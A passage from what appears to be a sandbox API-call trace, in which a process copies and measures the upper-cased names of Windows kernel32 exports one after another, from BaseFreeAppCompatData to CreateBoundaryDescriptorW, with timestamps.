lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0118.402] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0118.402] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0118.402] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0118.402] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0118.402] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0118.402] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0118.402] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0118.402] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0118.402] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0118.402] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0118.403] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0118.403] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0118.403] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0118.403] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0118.403] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0118.403] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0118.403] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0118.403] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0118.403] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0118.403] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0118.403] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0118.403] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0118.403] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0118.403] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0118.403] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0118.403] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0118.403] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0118.404] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0118.404] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0118.404] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0118.404] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0118.404] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0118.404] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0118.404] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0118.404] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0118.404] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0118.404] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0118.404] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0118.404] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0118.404] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0118.404] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0118.404] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0118.404] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0118.405] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0118.405] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0118.405] lstrlenA (lpString="BEEP") returned 4 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0118.405] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0118.405] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0118.405] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0118.405] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0118.405] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0118.405] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0118.405] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0118.405] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0118.405] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0118.405] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0118.405] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0118.405] lstrlenA (lpString="CANCELIO") returned 8 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0118.405] lstrlenA (lpString="CANCELIOEX") returned 10 [0118.405] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0118.406] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0118.406] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0118.406] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0118.406] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0118.406] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0118.406] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0118.406] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0118.406] lstrlenA (lpString="CHECKELEVATION") returned 14 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0118.406] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0118.406] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0118.406] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0118.406] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0118.406] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0118.406] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0118.406] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0118.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0118.406] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0118.407] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0118.407] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0118.407] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0118.407] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0118.407] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0118.407] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0118.407] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0118.407] lstrlenA (lpString="CLOSESTATE") returned 10 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0118.407] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0118.407] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0118.407] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0118.407] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0118.407] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0118.407] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0118.407] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0118.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0118.407] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0118.408] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0118.408] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0118.408] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0118.408] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0118.408] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0118.408] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0118.408] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0118.408] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0118.408] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0118.408] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0118.408] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0118.408] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0118.408] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0118.408] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0118.408] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0118.408] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0118.409] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0118.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0118.409] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0118.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0118.409] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0118.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0118.409] lstrlenA (lpString="COPYCONTEXT") returned 11 [0118.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0118.409] lstrlenA (lpString="COPYFILE2") returned 9 [0118.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0118.409] lstrlenA (lpString="COPYFILEA") returned 9 [0118.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0118.409] lstrlenA (lpString="COPYFILEEXA") returned 11 [0118.409] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0118.410] lstrlenA (lpString="COPYFILEEXW") returned 11 [0118.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0118.410] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0118.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0118.410] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0118.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0118.410] lstrlenA (lpString="COPYFILEW") returned 9 [0118.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0118.410] lstrlenA (lpString="COPYLZFILE") returned 10 [0118.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0118.410] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0118.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0118.410] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0118.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0118.410] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0118.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0118.410] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0118.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0118.410] lstrlenA 